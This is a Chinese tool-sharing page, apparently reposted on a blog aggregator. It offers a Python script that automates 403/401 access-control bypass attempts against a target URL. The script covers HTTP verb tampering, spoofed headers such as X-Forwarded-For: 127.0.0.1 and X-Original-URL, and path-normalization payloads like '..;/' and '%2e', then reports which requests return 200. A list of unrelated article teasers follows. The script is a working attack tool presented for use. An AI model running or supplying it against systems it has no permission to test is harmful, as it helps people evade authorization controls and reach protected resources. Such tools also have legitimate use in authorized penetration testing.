一款自动化的403/401绕过测试工具

工具介绍

一款自动化的403/401绕过测试工具,集成了路径规范化、请求头注入及谓词篡改等多种实战技巧。

工具使用

python run.py -u http://xx.com

run.py

import requests import argparse import urllib3 from urllib.parse import urlparse # 忽略 SSL 警告 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class BypassScanner: def __init__(self, target_url): self.target = target_url.rstrip('/') self.path = urlparse(target_url).path self.headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AF-Service-Scanner/1.0" } def scan(self): print(f"[*] Starting Bypass Scan for: {self.target}\n") # 1. 谓词篡改 (Verb Tampering) methods = ["GET", "POST", "HEAD", "PUT", "TRACE", "OPTIONS"] for m in methods: self._request(m, self.target, title=f"Method: {m}") # 2. Header 注入 bypass_headers = [ {"X-Forwarded-For": "127.0.0.1"}, {"X-Custom-IP-Authorization": "127.0.0.1"}, {"X-Original-URL": self.path}, {"X-Rewrite-URL": self.path}, {"X-Remote-IP": "127.0.0.1"}, {"X-Host": "127.0.0.1"} ] for h in bypass_headers: self._request("GET", self.target, headers=h, title=f"Header: {list(h.keys())[0]}") # 3. 路径变形 (Path Fuzzing) # 包含你提到的 ..;/ 和 ../ path_payloads = [ f"{self.target}/", f"{self.target}/.", f"{self.target}..;/", f"{self.target}/..;/", f"{self.target}/%2e/", f"{self.target}//", f"{self.target}.json" ] for p in path_payloads: self._request("GET", p, title=f"Path: {p.replace(self.target, '')}") def _request(self, method, url, headers=None, title=""): test_headers = self.headers.copy() if headers: test_headers.update(headers) try: resp = requests.request(method, url, headers=test_headers, verify=False, timeout=5, allow_redirects=False) color = "\033[92m" if resp.status_code == 200 else "\033[90m" print(f"{color}[{resp.status_code}] {title} \033[0m") except Exception as e: print(f"[!] Error on {title}: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="403/401 Bypass Automation Tool") parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., https://example.com/admin)") args = parser.parse_args() scanner = BypassScanner(args.url) scanner.scan()

工具下载

https://github.com/Adonis-363/403-

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1179234.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

费雪的行业领导者理论:寻找市场冠军

费雪的行业领导者理论:寻找市场冠军关键词:费雪的行业领导者理论、市场冠军、行业分析、企业评估、投资策略摘要:本文围绕费雪的行业领导者理论展开,旨在深入剖析该理论如何助力投资者寻找市场冠军。首先介绍了理论提出的背景、目…

IP反查工具,能够快速查询指定IP/域名关联的所有网站

工具介绍 ReverseIP-CN 是一款专为中文网络环境优化的IP反查工具,能够快速查询指定IP/域名关联的所有网站,是网络安全检测、资产梳理的利器。工具使用 依赖包安装: pip install -r requirements.txt参数说明: 参数 全称 说明-u --…

详细介绍:【杂谈】-边缘计算竞赛:人工智能硬件缘何超越云端

详细介绍:【杂谈】-边缘计算竞赛:人工智能硬件缘何超越云端pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Cons…

XSS 漏洞练习靶场,覆盖反射型、存储型、DOM 型、SVG、CSP、框架注入、协议绕过等多种场景

工具介绍 XSS-Sec 靶场项目是一个以“实战为导向”的 XSS 漏洞练习靶场,覆盖反射型、存储型、DOM 型、SVG、CSP、框架注入、协议绕过等多种场景。页面样式统一,逻辑清晰,适合系统化学习与教学演示。 关卡总览(名称与简介&#xf…

学长亲荐10个AI论文写作软件,MBA论文轻松搞定!

学长亲荐10个AI论文写作软件,MBA论文轻松搞定! AI工具如何让论文写作不再“难” 在MBA学习过程中,论文写作往往是许多学生最头疼的环节。无论是开题报告、研究设计,还是最终的论文撰写,都需要大量的时间与精力投入。而…

java求职学习day49

Mybatis任务三:加载策略及注解开发一 MyBatis加载策略 1.1 什么是延迟加载? 问题 通过前面的学习,我们已经掌握了Mybatis中一对一,一对多,多对多关系的配置及实现,可以实现 对象的关联查询。实际开发过程中…

ubuntu 实现远程登录

ubuntu 实现远程登录一、创建用户sudo useradd -m jane二. 创建用户的主目录 adduser命令默认会为新用户创建一个主目录,例如/home/jane。 三. 设置文件权限 更改文件所有者 你可以使用chown命令来更改文件或目录的所…

挖掘 0-Day 漏洞:AFL++ 模糊测试实战,给开源图像库 (libpng) 找一个致命 Crash

标签: #Fuzzing #AFL #Security #VulnerabilityResearch #0Day #ASAN ⚠️ 免责声明:本文仅供安全研究与教学使用。请勿对未授权的商业软件或网络进行攻击。🧬 前言:什么是覆盖率导向的 Fuzzing? 传统的 Fuzzing 是“瞎…

AI领域技术进展速览:从模型更新到硬件竞争

LWiAI播客 #224 - OpenAI转向盈利!Cursor 2、Minimax M2、Udio版权问题 这是我们第224期节目,总结和讨论上周的重要人工智能新闻! 录制于2025年10月31日 本期内容: OpenAI完成了其盈利性重组,重新定义了与某中心的合作…

Codeforces Round 1073 Div1 + Div2 部分题目题解

比赛传送门:Codeforces Round 1073。 打的 Div2。AB 赛时切了。 C 题解 设 \(s\) 升序排序后为 \(t\),那么如果 \(s=t\) 显然 Bob 胜利,否则我们断言 Alice 一定胜利。 如果 Alice 可以一步将 \(s\) 变成 \(t\),那…

布隆过滤器进阶:布谷鸟过滤器 (Cuckoo Filter) 是如何支持“删除”操作的?

标签: #Algorithm #BloomFilter #CuckooFilter #DataStructure #SystemDesign🚫 前言:布隆过滤器的“死穴” 布隆过滤器的原理是将一个元素通过 个哈希函数映射到位数组的 个点上。 为什么不能删? 假设元素 A 映射到了位置 [1, …

web入门111-120

web111 分析代码v1必须等于ctfshow,v2使用全局变量 ?v1=ctfshow&v2=GLOBALSweb112 分析代码使用伪协议 ?file=php://filter/resource=flag.phpweb113 分析代码使用zlib:// 伪协议 ?file=compress.zlib://flag.p…

第 485 场周赛Q1——3813. 元音辅音得分

题目链接:3813. 元音辅音得分(简单) 算法原理: 解法:模拟 1ms击败100.00% 时间复杂度O(N) 其实题目中要求的向下取整就是默认的 / 就可以,所以我们只需要按要求统计出对应的 v、c 然后按照题目要求返回…

恶意代码分析:在沙箱中运行勒索病毒,用 IDA Pro 逆向它的加密逻辑

标签: #MalwareAnalysis #ReverseEngineering #IDAPro #Ransomware #CyberSecurity #Cryptography ⚠️ 高危警告:本文涉及真实恶意样本分析技术。所有操作必须在断网、隔离的虚拟机中进行。严禁在物理机或生产环境中尝试!严禁传播恶意样本&a…

导师严选2026 AI论文网站TOP8:继续教育写作全攻略

导师严选2026 AI论文网站TOP8:继续教育写作全攻略 2026年AI论文写作工具测评:为何需要这份榜单? 随着人工智能技术在学术领域的深入应用,越来越多的科研人员和继续教育学习者开始依赖AI写作工具提升论文撰写效率。然而&#xff0c…

LLM 推理加速:深入 vLLM 源码,揭秘 PagedAttention 如何让吞吐量提升 20 倍?

标签: #LLM #vLLM #PagedAttention #CUDA #Inference #SystemDesign 📉 前言:显存碎片的“诅咒” 在 vLLM 出现之前,HuggingFace Transformers 的默认推理极其浪费显存。 LLM 推理是自回归的(生成一个 Token,存入 KV Cache,再生成下一个)。传统的 KV Cache 管理方式是…

完整教程:【Go/Python/Java】基础语法+核心特性对比

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

数据交易中的数据质量评估方法

数据交易避坑指南:从头搭建你的数据质量评估体系 一、引言:数据交易中,你踩过多少“质量坑”? 去年,我帮一家零售企业做数据交易咨询时,遇到过一个典型的“踩坑案例”: 这家企业花20万买了一份“…

数据结构3.0 栈、队列和数组

一、栈的基本概念①栈的定义②栈的基本操作③常考题型④小结二、栈的顺序存储实现①顺序栈的定义②初始化操作③进栈操作④出栈操作⑤读栈顶元素操作⑥共享栈⑦小结三、栈的链式存储实现①链栈的定义②小结#include <stdio.h> #include <stdlib.h>// 链栈的结点结构…

算子优化实战:手写 Triton Kernel,将 LayerNorm 算子的执行时间压缩 50%

标签: #Triton #CUDA #AICompiler #HPC #PyTorch #LayerNorm 📉 前言:为什么 PyTorch 原生算子还不够快? PyTorch 的 torch.nn.LayerNorm 虽然底层调用了 cuDNN 或 ATen 的优化实现,但在处理特定 Shape 或与其他算子结合时,依然存在性能损耗: 显存带宽瓶颈:LayerNorm…